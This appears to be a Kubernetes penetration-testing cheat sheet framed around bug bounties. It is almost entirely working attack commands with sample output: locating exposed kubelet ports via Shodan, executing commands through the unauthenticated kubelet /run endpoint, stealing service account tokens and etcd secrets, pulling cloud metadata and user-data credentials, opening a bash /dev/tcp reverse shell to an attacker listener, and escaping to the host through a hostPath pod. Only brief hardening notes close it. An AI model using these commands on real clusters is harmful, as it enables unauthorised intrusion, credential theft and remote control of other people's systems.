Kubernetes — What-Security

$ Finding exposed clusters

During some of the bug bounties I have found some good things like unprotected Kubernetes clusters. The kubelet API usually listens on 10250 (authenticated) and 10255 (read-only). Shodan and Censys are full of nodes exposing these ports.

# Find kubelet endpoints via Shodan
shodan search 'product:"Kubernetes" port:10250'

# Check for anonymous read-only access on the kubelet port
curl -sk https://IP:10250/pods | head -50
curl -sk http://IP:10255/pods | head -50

# Check for anonymous access to the main API server
curl -sk https://IP:6443/api/v1/namespaces

$ Grabbing namespace, pod and container names from the Kubernetes API

curl -sk https://IP:10250/pods

{
      "metadata": {
        "name": "spinnaker-k8spray-clouddriver-566c56787c-l6mnj",
        "namespace": "k8spray",
        "uid": "e36e6e6e-8974-11e8-9663-02ceba770664",
        "creationTimestamp": null
      },
      "spec": {
        "containers": [
          {
            "name": "clouddriver",
            "image": "quay.io/spinnaker/clouddriver@sha256:60a9b2f79207a8f70db93db981546350d6fd412e0e1f03640cc2f4bec35fc23c",
            "resources": {}
          }
        ]
      }
  }

So in this example the namespace is k8spray, the pod name is spinnaker-k8spray-clouddriver-566c56787c-l6mnj and the container is clouddriver.

$ How to print environment values

Environment variables frequently leak internal secrets — etcd endpoints, service account tokens, database credentials.

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=printenv"

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=ip-192-168-1-100
ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2381
ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:4002
ETCD_ADVERTISE_CLIENT_URLS=http://etcd-events-a.internal.k8s.io:4002
ETCD_INITIAL_ADVERTISE_PEER_URLS=http://etcd-events-a.internal.k8s:2381
ETCD_INITIAL_CLUSTER=etcd-events-a=http://etcd-events-a.internal.k8s:2381,etcd-events-b=http://etcd-events-b.internal.k8s:2381,etcd-events-c=http://etcd-events-c.internal.k8s:2381
ETCD_NAME=etcd-events-a
ETCD_DATA_DIR=/var/etcd/data-events
ETCD_INITIAL_CLUSTER_STATE=new
ETCD_INITIAL_CLUSTER_TOKEN=etcd-cluster-token-etcd-events
HOME=/root

$ Service account token location and abuse

Every pod gets a service account token mounted at a fixed path. If you have command execution inside a container, read it and use it against the API server to see what you are authorised to do.

# Read the mounted service account token and CA cert
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Use the token against the API server
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk https://IP:6443/api/v1/namespaces/$NAMESPACE/pods -H "Authorization: Bearer $TOKEN"

# Or with kubectl if available
kubectl --token=$TOKEN --insecure-skip-tls-verify get pods -A

$ Checking permissions with kubectl auth can-i

# What can this service account do globally?
kubectl auth can-i --list -A
kubectl auth can-i create pods -A
kubectl auth can-i exec pods -A
kubectl auth can-i get secrets -A
kubectl auth can-i '*' '*' -A

$ etcd exposure

etcd holds the entire cluster state, including secrets. Older clusters ran etcd on port 2379 with no authentication.

# Check for unauthenticated etcd access
curl -s http://IP:2379/version
curl -s http://IP:2379/v2/keys/?recursive=true | head -50

# With etcdctl if you can reach it
etcdctl --endpoints=http://IP:2379 ls /
etcdctl --endpoints=http://IP:2379 get /registry/secrets --prefix --keys-only

$ How to connect to the AWS metadata endpoint

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/latest/meta-data/"

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups

$ How to grab user data on a deployment

Instance user-data often contains bootstrap scripts with credentials, API keys and tokens in plain text.

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/latest/user-data"

#! /bin/bash
  echo ECS_CLUSTER=web-cluster >> /etc/ecs/ecs.config
  sudo docker run -d \
    --name instana-agent \
    --volume /var/run/docker.sock:/var/run/docker.sock \
    --volume /dev:/dev \
    --volume /sys:/sys \
    --volume /var/log:/var/log \
    --privileged \
    --net=host \
    --pid=host \
    --ipc=host \
    --env INSTANA_PORT=443 \
    --env INSTANA_HOST=saas-eu-west-1.something \
    --env INSTANA_KEY=nIadsasd \
    --env INSTANA_TAGS=fridayr \
    instana/agent
  /usr/verticles #

$ How to get a reverse shell

Set up a listener on your VPS to connect back to:

nc -lvp 4444

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=bash -i >& /dev/tcp/YOURIP/YOURPORT 0>&1"

Once this command has been run you should have a reverse shell connected to your listener.

$ How to connect to the DigitalOcean metadata endpoint

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - http://169.254.169.254/metadata/v1/"

id
hostname
user-data
vendor-data
public-keys
region
interfaces/
dns/

$ Retrieve public SSH keys from Google metadata

curl -sk https://IP:10250/run/NAMESPACE/POD/CONTAINERNAME -d "cmd=busybox wget -q -O - --header='Metadata-Flavor: Google' http://metadata/computeMetadata/v1/project/attributes/ssh-keys?alt=json"

The response will provide you with the SSH public keys used for that project.

$ Kubelet ports 10250 and 10255

Port 10250 is the full kubelet API (exec, run, logs, port-forward); 10255 is the read-only endpoint exposing pod listings and stats without authentication. Always check both, plus the metrics port.

# Read-only endpoint: full pod inventory with node info
curl -s http://IP:10255/pods

# Streaming container logs without auth
curl -sk https://IP:10250/containerLogs/NAMESPACE/POD/CONTAINERNAME

# Check the kubelet metrics endpoint
curl -sk https://IP:10250/metrics | grep -i exec

$ hostPath mount escape

If you can create pods (kubectl auth can-i create pods), mount the node's root filesystem via hostPath and read everything on the host — including etcd data, kubelet config, SSH keys and other pods' secrets.

cat <<'EOF' > escape.yaml
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-escape
spec:
  containers:
  - name: escape
    image: busybox
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

kubectl apply -f escape.yaml
kubectl exec -it hostpath-escape -- ls /host
# Grab the etcd client certs and node SSH keys
kubectl exec -it hostpath-escape -- cat /host/etc/kubernetes/pki/etcd/ca.crt

$ Hardening notes

# Good defences to recommend in a report:
# - kubelet: --anonymous-auth=false, --authorization-mode=Webhook
# - Close port 10255 entirely; restrict 10250 to the control plane
# - Block pod access to 169.254.169.254 (IMDSv2 hop limit, NetworkPolicy)
# - etcd: mutual TLS and firewall off 2379 from the node network
# - RBAC: least privilege per service account, audit with kubectl auth can-i --list
# - Restrict hostPath volumes with PodSecurityPolicy / admission controllers